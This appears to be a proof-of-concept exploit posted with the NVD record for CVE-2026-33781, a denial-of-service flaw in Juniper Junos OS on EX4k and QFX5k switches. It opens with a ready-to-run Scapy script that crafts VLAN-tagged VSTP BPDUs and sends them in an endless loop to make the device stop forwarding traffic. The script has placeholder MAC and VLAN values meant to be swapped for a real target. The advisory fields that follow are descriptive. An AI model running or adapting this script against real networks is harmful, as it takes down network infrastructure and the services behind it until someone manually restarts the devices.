CVE-2026-33781

from scapy.all import * # Define target interface and MAC conf.iface = "eth0" target_mac = "00:11:22:33:44:55" # Replace with actual gateway MAC target_vlan = 100 # Replace with target VLAN ID # Construct Ethernet frame with 802.1Q tag ether = Ether(dst=target_mac) dot1q = Dot1Q(vlan=target_vlan) # Construct VSTP BPDU payload (LLC + STP) # VSTP uses standard STP BPDU format encapsulated in LLC llc = LLC(dsap=0x42, ssap=0x42, ctrl=0x03) stp = STP(bpdutype=0x00, bpduflags=0x00, rootid=0x8000, rootpathcost=0, bridgeid=0x8000, portid=0x8001, messageage=0, maxage=20, hellotime=2, fwddelay=15) # Assemble packet packet = ether / dot1q / llc / stp # Send packets continuously to trigger the buffer allocation failure print("[*] Sending VSTP BPDUs to trigger DoS...") sendp(packet, inter=0.1, count=1000, loop=1)

{"cve": {"id": "CVE-2026-33781", "sourceIdentifier": "[email protected]", "published": "2026-04-09T22:16:27.193", "lastModified": "2026-04-17T17:53:32.403", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Improper Check for Unusual or Exceptional Conditions vulnerability in the packet forwarding engine (pfe) of Juniper Networks Junos OS on specific EX and QFX Series devices allow an unauthenticated, adjacent attacker to cause a complete Denial of Service (DoS).\n\nOn EX4k, and QFX5k platforms configured as service-provider edge devices, if L2PT is enabled on the UNI and VSTP is enabled on NNI in VXLAN scenarios, receiving VSTP BPDUs on UNI leads to packet buffer allocation failures, resulting in the device to not pass traffic anymore until it is manually recovered with a restart.This issue affects Junos OS:\n\n\n\n * 24.4 releases before 24.4R2,\n * 25.2 releases before 25.2R1-S1, 25.2R2.\n\n\n\n\nThis issue does not affect Junos OS releases before 24.4R1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:X/V:X/RE:M/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", 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